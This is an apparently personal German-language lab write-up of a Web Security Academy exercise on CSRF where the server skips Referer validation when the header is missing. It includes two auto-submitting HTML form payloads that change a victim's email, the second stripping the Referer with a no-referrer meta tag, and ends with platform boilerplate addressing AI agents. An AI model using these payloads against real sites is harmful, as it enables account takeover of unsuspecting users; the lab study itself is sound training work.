> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/csrf/csrf-referer-validation-depends-on-header-presence.md).

# CSRF mit Referer-Validierung nur wenn vorhanden

### CSRF, bei der die Referer-Validierung davon abhängt, dass der Header vorhanden ist

Die E-Mail-Änderungsfunktion dieses Labs ist für einen CSRF-Angriff anfällig. Der Server versucht, domänenübergreifende Anfragen zu blockieren, indem er den Header überprüft **Referer**, aber es gibt einen unsicheren Fallback-Mechanismus, der die Anfrage akzeptiert, wenn der Referer-Header fehlt.

* Empfohlenes Konto: `wiener:peter` (verwenden Sie dieses Konto, um das Szenario des Opfers nachzustellen).

Der Server prüft das **Referer** Feld, um herauszufinden, woher die Anfrage stammt, und lehnt Anfragen ab, deren Referer nicht der der Website ist.

<figure><img src="/files/bfe08b6bb07945cc8be6f30e9eeaf14b7d9e0c76" alt="" width="543"><figcaption></figcaption></figure>

* Beim Senden eines POST-Formulars vom Exploit-Server lautet die Antwort: **"Ungültiger Referer-Header"** — die Prüfung funktioniert, wenn der Header vorhanden und falsch ist.

```html
<form class="login-form" name="change-email-form" action="https://0a2300750347b0c680ee030e005f0042.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="hacked@jord4n.pro">
</form>

<script>

document.forms[0].submit();
</script>
```

`"Ungültiger Referer-Header"`

<figure><img src="/files/faef141c1f6237d7d3f10020ede2dff91a603fd8" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/5cb9b241581e755dc574b31c7672ae2a3e2541e4" alt=""><figcaption></figcaption></figure>

Wenn die Anfrage jedoch eintrifft **ohne** Referer-Header fehlt, akzeptiert der Server die Anfrage (gefährliches Fallback-Verhalten).

<figure><img src="/files/b8b560e6f161de78069ab66598e0c42ac39afcc9" alt=""><figcaption></figcaption></figure>

#### Vorgehensweise (Prinzip)

1. Hosten Sie eine Seite auf dem Exploit-Server, die ein POST-Formular an `/my-account/change-email` mit der Angreifer-E-Mail.
2. Zwingen Sie die Exploit-Seite dazu, **entfernen** Browser-Referer-Header, sodass die Validierung als Blockierung fehlschlägt (da der Server das Fehlen von Referer akzeptiert).
3. Eine einfache Möglichkeit, den Browser zu veranlassen, den Referer nicht zu senden, besteht darin, ein `<meta name="referrer" content="no-referrer">` Tag vor dem Absenden des Formulars zur Exploit-Seite hinzuzufügen.

```html
<head>
   <meta name="referrer" content="no-referrer">
</head>
<form class="login-form" name="change-email-form" action="https://0a2300750347b0c680ee030e005f0042.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="hacked@jord4n.pro">
</form>

<script>

document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/csrf/csrf-referer-validation-depends-on-header-presence.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
